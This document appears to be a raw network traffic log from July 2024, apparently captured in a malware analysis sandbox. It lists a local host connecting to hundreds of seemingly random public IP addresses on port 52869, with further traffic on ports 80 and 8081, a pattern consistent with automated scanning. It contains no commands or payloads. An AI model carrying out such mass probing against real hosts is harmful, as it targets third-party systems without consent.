Jul 20, 2024 23:05:43.535799980 CEST	43695	52869	192.168.2.13	139.75.120.13
Jul 20, 2024 23:05:43.535799980 CEST	43695	52869	192.168.2.13	37.97.70.111
Jul 20, 2024 23:05:43.535799980 CEST	43695	52869	192.168.2.13	46.210.215.14
Jul 20, 2024 23:05:43.535799980 CEST	43695	52869	192.168.2.13	157.179.135.44
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	137.163.53.8
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	63.215.134.180
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	117.254.249.114
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	145.153.201.78
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	66.14.206.48
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	79.243.8.234
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	65.55.139.173
Jul 20, 2024 23:05:43.536195040 CEST	43695	52869	192.168.2.13	175.172.87.12
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	5.48.114.100
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	182.241.73.109
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	203.180.49.188
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	156.72.162.161
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	170.150.160.238
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	50.153.17.84
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	148.244.158.133
Jul 20, 2024 23:05:43.537095070 CEST	43695	52869	192.168.2.13	50.255.20.130
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	186.147.73.189
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	17.175.70.16
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	2.59.107.213
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	167.228.36.177
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	49.130.24.47
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	125.155.141.188
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	207.208.171.76
Jul 20, 2024 23:05:43.537254095 CEST	43695	52869	192.168.2.13	143.182.219.216
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	146.124.196.193
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	93.69.43.20
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	76.238.160.42
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	53.212.2.16
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	45.183.149.181
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	200.110.135.217
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	117.31.136.186
Jul 20, 2024 23:05:43.540457010 CEST	43695	52869	192.168.2.13	180.191.202.54
Jul 20, 2024 23:05:43.543857098 CEST	43695	52869	192.168.2.13	137.38.178.113
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	14.249.153.183
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	20.133.31.212
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	79.206.180.51
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	47.76.93.237
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	133.86.14.64
Jul 20, 2024 23:05:43.543858051 CEST	43695	52869	192.168.2.13	175.16.206.250
Jul 20, 2024 23:05:43.544126987 CEST	43695	52869	192.168.2.13	130.244.250.133
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	219.94.210.22
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	203.142.231.123
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	91.180.180.99
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	111.71.225.30
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	72.99.228.203
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	118.176.13.148
Jul 20, 2024 23:05:43.544127941 CEST	43695	52869	192.168.2.13	17.218.29.200
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	1.105.60.153
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	42.165.180.164
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	179.75.232.250
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	158.236.84.25
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	199.149.78.113
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	222.30.128.87
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	53.232.116.38
Jul 20, 2024 23:05:43.544445038 CEST	43695	52869	192.168.2.13	50.131.229.144
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	186.89.120.142
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	175.3.168.151
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	162.199.43.225
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	171.157.4.28
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	221.216.200.224
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	205.3.18.153
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	5.49.216.228
Jul 20, 2024 23:05:43.548135042 CEST	43695	52869	192.168.2.13	8.38.27.37
Jul 20, 2024 23:05:43.548923016 CEST	43695	52869	192.168.2.13	108.144.128.142
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	132.172.43.146
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	117.128.124.225
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	90.111.124.162
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	187.249.183.7
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	142.208.108.22
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	153.71.106.110
Jul 20, 2024 23:05:43.548923969 CEST	43695	52869	192.168.2.13	162.111.188.151
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	120.51.31.222
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	72.213.252.244
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	64.140.75.2
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	65.207.71.206
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	167.162.143.203
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	47.217.91.118
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	24.247.215.9
Jul 20, 2024 23:05:43.551609993 CEST	43695	52869	192.168.2.13	125.198.133.16
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	108.78.181.184
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	218.3.255.63
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	39.235.225.32
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	182.126.2.209
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	146.249.128.232
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	1.215.254.28
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	79.193.255.88
Jul 20, 2024 23:05:43.551772118 CEST	43695	52869	192.168.2.13	41.149.43.255
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	203.12.34.170
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	199.225.37.101
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	117.248.203.193
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	81.181.244.4
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	12.148.80.214
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	150.129.157.58
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	113.171.228.126
Jul 20, 2024 23:05:43.554071903 CEST	43695	52869	192.168.2.13	18.222.183.209
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	161.87.188.101
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	163.217.44.4
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	34.64.233.21
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	204.144.146.246
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	200.246.120.164
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	142.251.186.219
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	221.199.5.40
Jul 20, 2024 23:05:43.556072950 CEST	43695	52869	192.168.2.13	156.224.60.129
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	34.253.190.184
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	170.27.132.16
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	209.98.155.153
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	132.151.53.111
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	157.17.172.136
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	13.188.178.25
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	216.172.222.203
Jul 20, 2024 23:05:43.556740999 CEST	43695	52869	192.168.2.13	86.149.0.96
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	98.134.211.38
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	91.203.41.17
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	24.215.34.153
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	51.100.100.198
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	207.116.143.87
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	60.236.134.69
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	161.7.29.3
Jul 20, 2024 23:05:43.556906939 CEST	43695	52869	192.168.2.13	201.153.52.54
Jul 20, 2024 23:05:43.559104919 CEST	80	56426	95.227.200.110	192.168.2.13
Jul 20, 2024 23:05:43.559319973 CEST	80	35442	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:43.559329033 CEST	8081	41110	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.559520006 CEST	41110	8081	192.168.2.13	68.208.130.213
Jul 20, 2024 23:05:43.560270071 CEST	8081	54692	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.560316086 CEST	54692	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.560343981 CEST	80	34442	95.12.205.106	192.168.2.13
Jul 20, 2024 23:05:43.560368061 CEST	80	44258	95.241.185.124	192.168.2.13
Jul 20, 2024 23:05:43.560373068 CEST	80	48154	95.12.175.93	192.168.2.13
Jul 20, 2024 23:05:43.560376883 CEST	80	60396	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:43.560400009 CEST	80	57434	95.61.59.169	192.168.2.13
Jul 20, 2024 23:05:43.560439110 CEST	80	48492	95.82.15.117	192.168.2.13
Jul 20, 2024 23:05:43.560523033 CEST	8081	53164	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.560635090 CEST	43695	52869	192.168.2.13	75.86.75.139
Jul 20, 2024 23:05:43.560635090 CEST	43695	52869	192.168.2.13	152.165.106.206
Jul 20, 2024 23:05:43.560635090 CEST	43695	52869	192.168.2.13	48.239.23.206
Jul 20, 2024 23:05:43.560636044 CEST	43695	52869	192.168.2.13	87.248.254.224
Jul 20, 2024 23:05:43.560636044 CEST	43695	52869	192.168.2.13	77.101.155.107
Jul 20, 2024 23:05:43.560636044 CEST	43695	52869	192.168.2.13	144.157.190.123
Jul 20, 2024 23:05:43.560636044 CEST	43695	52869	192.168.2.13	125.245.29.93
Jul 20, 2024 23:05:43.560636044 CEST	43695	52869	192.168.2.13	86.3.206.89
Jul 20, 2024 23:05:43.560750961 CEST	80	59526	95.169.160.58	192.168.2.13
Jul 20, 2024 23:05:43.560755014 CEST	8081	43346	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.560769081 CEST	80	46618	95.160.145.121	192.168.2.13
Jul 20, 2024 23:05:43.560772896 CEST	8081	46406	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.560786963 CEST	80	47198	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:43.560789108 CEST	43346	8081	192.168.2.13	59.118.248.133
Jul 20, 2024 23:05:43.560925007 CEST	80	45440	95.130.191.169	192.168.2.13
Jul 20, 2024 23:05:43.561141014 CEST	80	57834	95.228.200.238	192.168.2.13
Jul 20, 2024 23:05:43.561146975 CEST	80	44598	95.48.33.221	192.168.2.13
Jul 20, 2024 23:05:43.561227083 CEST	80	54132	95.194.234.149	192.168.2.13
Jul 20, 2024 23:05:43.561501980 CEST	53164	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.561541080 CEST	80	38836	95.229.250.82	192.168.2.13
Jul 20, 2024 23:05:43.561592102 CEST	80	60698	95.12.88.73	192.168.2.13
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	67.119.83.236
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	91.175.76.251
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	209.187.227.114
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	175.186.49.31
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	195.164.167.51
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	47.102.47.49
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	184.234.90.152
Jul 20, 2024 23:05:43.561973095 CEST	43695	52869	192.168.2.13	198.60.0.172
Jul 20, 2024 23:05:43.563484907 CEST	80	59260	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:43.563491106 CEST	8081	55198	120.245.6.162	192.168.2.13
Jul 20, 2024 23:05:43.563517094 CEST	8081	59114	115.193.221.183	192.168.2.13
Jul 20, 2024 23:05:43.563579082 CEST	8081	45734	139.176.103.99	192.168.2.13
Jul 20, 2024 23:05:43.563585043 CEST	80	56804	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	61.32.175.248
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	220.121.235.237
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	124.186.242.17
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	23.254.214.159
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	150.189.234.232
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	175.254.53.17
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	171.91.232.190
Jul 20, 2024 23:05:43.563759089 CEST	43695	52869	192.168.2.13	164.241.31.41
Jul 20, 2024 23:05:43.563888073 CEST	80	35028	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	114.19.28.119
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	95.117.196.93
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	155.61.33.119
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	57.25.43.56
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	186.97.247.91
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	199.12.118.231
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	88.185.239.176
Jul 20, 2024 23:05:43.563930035 CEST	43695	52869	192.168.2.13	64.114.144.94
Jul 20, 2024 23:05:43.564388037 CEST	34442	80	192.168.2.13	95.12.205.106
Jul 20, 2024 23:05:43.564388037 CEST	57434	80	192.168.2.13	95.61.59.169
Jul 20, 2024 23:05:43.564388037 CEST	44258	80	192.168.2.13	95.241.185.124
Jul 20, 2024 23:05:43.564469099 CEST	80	42788	95.62.175.224	192.168.2.13
Jul 20, 2024 23:05:43.564503908 CEST	38836	80	192.168.2.13	95.229.250.82
Jul 20, 2024 23:05:43.564555883 CEST	8081	46284	201.159.112.182	192.168.2.13
Jul 20, 2024 23:05:43.564560890 CEST	8081	45394	121.121.132.42	192.168.2.13
Jul 20, 2024 23:05:43.564625978 CEST	55198	8081	192.168.2.13	120.245.6.162
Jul 20, 2024 23:05:43.564625978 CEST	48154	80	192.168.2.13	95.12.175.93
Jul 20, 2024 23:05:43.564625978 CEST	46618	80	192.168.2.13	95.160.145.121
Jul 20, 2024 23:05:43.564625978 CEST	60396	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:43.564625978 CEST	42788	80	192.168.2.13	95.62.175.224
Jul 20, 2024 23:05:43.565340042 CEST	80	46862	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:43.565426111 CEST	80	50154	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:43.566867113 CEST	8081	60284	47.44.23.215	192.168.2.13
Jul 20, 2024 23:05:43.566884041 CEST	80	37050	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:43.567045927 CEST	8081	43090	1.220.154.182	192.168.2.13
Jul 20, 2024 23:05:43.567054987 CEST	80	36212	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:43.567071915 CEST	8081	34324	130.226.197.71	192.168.2.13
Jul 20, 2024 23:05:43.567080975 CEST	80	43414	95.101.78.125	192.168.2.13
Jul 20, 2024 23:05:43.567114115 CEST	36212	80	192.168.2.13	95.123.38.121
Jul 20, 2024 23:05:43.567442894 CEST	34324	8081	192.168.2.13	130.226.197.71
Jul 20, 2024 23:05:43.567487001 CEST	8081	37466	216.77.147.81	192.168.2.13
Jul 20, 2024 23:05:43.567501068 CEST	80	57882	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:43.567539930 CEST	8081	37472	154.38.133.150	192.168.2.13
Jul 20, 2024 23:05:43.567555904 CEST	80	37768	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:43.568504095 CEST	8081	59034	178.81.111.121	192.168.2.13
Jul 20, 2024 23:05:43.568517923 CEST	80	37484	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:43.568533897 CEST	8081	37628	223.9.8.159	192.168.2.13
Jul 20, 2024 23:05:43.568559885 CEST	80	32992	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:43.568573952 CEST	8081	45248	157.212.128.61	192.168.2.13
Jul 20, 2024 23:05:43.568726063 CEST	80	50082	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:43.568741083 CEST	8081	52842	136.231.77.244	192.168.2.13
Jul 20, 2024 23:05:43.568775892 CEST	80	53478	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:43.568780899 CEST	8081	48176	68.152.129.142	192.168.2.13
Jul 20, 2024 23:05:43.569664955 CEST	8081	57658	206.53.199.156	192.168.2.13
Jul 20, 2024 23:05:43.569694996 CEST	80	33872	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:43.569716930 CEST	8081	54494	117.162.6.62	192.168.2.13
Jul 20, 2024 23:05:43.569730043 CEST	80	45212	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:43.569737911 CEST	33872	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:43.569770098 CEST	8081	38284	209.25.30.35	192.168.2.13
Jul 20, 2024 23:05:43.569782019 CEST	80	46456	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:43.569792032 CEST	8081	56208	1.70.190.239	192.168.2.13
Jul 20, 2024 23:05:43.569818974 CEST	80	41892	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:43.569833040 CEST	8081	56942	63.54.135.76	192.168.2.13
Jul 20, 2024 23:05:43.569850922 CEST	80	52910	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:43.570071936 CEST	8081	51954	48.169.101.121	192.168.2.13
Jul 20, 2024 23:05:43.570101023 CEST	80	32940	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:43.570354939 CEST	8081	53954	223.204.31.236	192.168.2.13
Jul 20, 2024 23:05:43.570393085 CEST	80	34822	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:43.570396900 CEST	53954	8081	192.168.2.13	223.204.31.236
Jul 20, 2024 23:05:43.570401907 CEST	8081	35782	65.70.49.213	192.168.2.13
Jul 20, 2024 23:05:43.570542097 CEST	37768	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	213.6.2.53
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	91.215.44.162
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	119.109.168.56
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	98.70.129.196
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	47.112.130.62
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	23.244.23.40
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	44.82.1.129
Jul 20, 2024 23:05:43.570661068 CEST	43695	52869	192.168.2.13	198.69.74.41
Jul 20, 2024 23:05:43.570957899 CEST	8081	33508	51.212.187.178	192.168.2.13
Jul 20, 2024 23:05:43.570967913 CEST	80	40132	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:43.571000099 CEST	8081	48480	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.571067095 CEST	8081	48480	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.571109056 CEST	8081	48736	86.28.105.133	192.168.2.13
Jul 20, 2024 23:05:43.571114063 CEST	80	53866	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	123.28.3.221
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	54.16.133.25
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	75.106.240.245
Jul 20, 2024 23:05:43.571136951 CEST	8081	46804	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	131.228.15.152
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	182.196.237.27
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	132.174.178.64
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	145.102.69.72
Jul 20, 2024 23:05:43.571135998 CEST	43695	52869	192.168.2.13	54.197.202.202
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	195.226.70.241
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	68.146.144.224
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	202.205.64.46
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	103.254.100.157
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	171.17.250.180
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	92.19.99.51
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	164.48.46.76
Jul 20, 2024 23:05:43.571492910 CEST	43695	52869	192.168.2.13	125.189.221.73
Jul 20, 2024 23:05:43.571522951 CEST	8081	47052	37.111.247.22	192.168.2.13
Jul 20, 2024 23:05:43.571554899 CEST	80	38598	95.96.37.96	192.168.2.13
Jul 20, 2024 23:05:43.571568966 CEST	8081	54692	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.571882963 CEST	8081	54692	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.571916103 CEST	8081	54952	102.95.56.173	192.168.2.13
Jul 20, 2024 23:05:43.571938992 CEST	80	47906	95.169.39.23	192.168.2.13
Jul 20, 2024 23:05:43.571954966 CEST	8081	43346	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.571988106 CEST	8081	43346	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.572030067 CEST	8081	43608	59.118.248.133	192.168.2.13
Jul 20, 2024 23:05:43.572079897 CEST	47906	80	192.168.2.13	95.169.39.23
Jul 20, 2024 23:05:43.572165012 CEST	8081	46406	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.572174072 CEST	8081	46406	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.572177887 CEST	80	40848	95.212.58.133	192.168.2.13
Jul 20, 2024 23:05:43.572324991 CEST	54952	8081	192.168.2.13	102.95.56.173
Jul 20, 2024 23:05:43.572511911 CEST	8081	46668	120.161.159.9	192.168.2.13
Jul 20, 2024 23:05:43.572549105 CEST	43695	52869	192.168.2.13	78.157.236.133
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	115.27.170.112
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	102.5.58.31
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	105.140.191.44
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	99.146.218.161
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	31.102.65.124
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	93.45.199.249
Jul 20, 2024 23:05:43.572550058 CEST	43695	52869	192.168.2.13	77.107.134.16
Jul 20, 2024 23:05:43.572577000 CEST	8081	53164	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.572587013 CEST	8081	53164	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.572594881 CEST	80	47806	95.158.64.25	192.168.2.13
Jul 20, 2024 23:05:43.572611094 CEST	8081	53426	133.97.201.216	192.168.2.13
Jul 20, 2024 23:05:43.573153019 CEST	8081	41110	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.574031115 CEST	59034	8081	192.168.2.13	178.81.111.121
Jul 20, 2024 23:05:43.574031115 CEST	48176	8081	192.168.2.13	68.152.129.142
Jul 20, 2024 23:05:43.574248075 CEST	8081	41110	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.574311018 CEST	80	50754	95.135.233.161	192.168.2.13
Jul 20, 2024 23:05:43.574332952 CEST	8081	41374	68.208.130.213	192.168.2.13
Jul 20, 2024 23:05:43.574498892 CEST	50754	80	192.168.2.13	95.135.233.161
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	165.176.62.46
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	102.70.18.79
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	162.150.70.147
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	175.145.228.250
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	203.164.148.156
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	25.177.197.20
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	106.50.228.155
Jul 20, 2024 23:05:43.574626923 CEST	43695	52869	192.168.2.13	147.239.45.115
Jul 20, 2024 23:05:43.574770927 CEST	8081	33040	20.191.46.135	192.168.2.13
Jul 20, 2024 23:05:43.574863911 CEST	8081	51946	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.574867964 CEST	8081	51946	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.575043917 CEST	8081	52208	137.17.247.121	192.168.2.13
Jul 20, 2024 23:05:43.575048923 CEST	80	43234	95.78.75.152	192.168.2.13
Jul 20, 2024 23:05:43.576973915 CEST	53426	8081	192.168.2.13	133.97.201.216
Jul 20, 2024 23:05:43.578841925 CEST	43695	52869	192.168.2.13	144.147.149.140
Jul 20, 2024 23:05:43.578841925 CEST	43695	52869	192.168.2.13	212.23.99.238
Jul 20, 2024 23:05:43.578841925 CEST	43695	52869	192.168.2.13	141.211.12.130
Jul 20, 2024 23:05:43.578841925 CEST	43695	52869	192.168.2.13	211.241.97.241
Jul 20, 2024 23:05:43.579350948 CEST	43695	52869	192.168.2.13	129.185.18.97
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	202.81.95.79
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	64.236.183.34
Jul 20, 2024 23:05:43.579351902 CEST	43695	52869	192.168.2.13	170.227.146.47
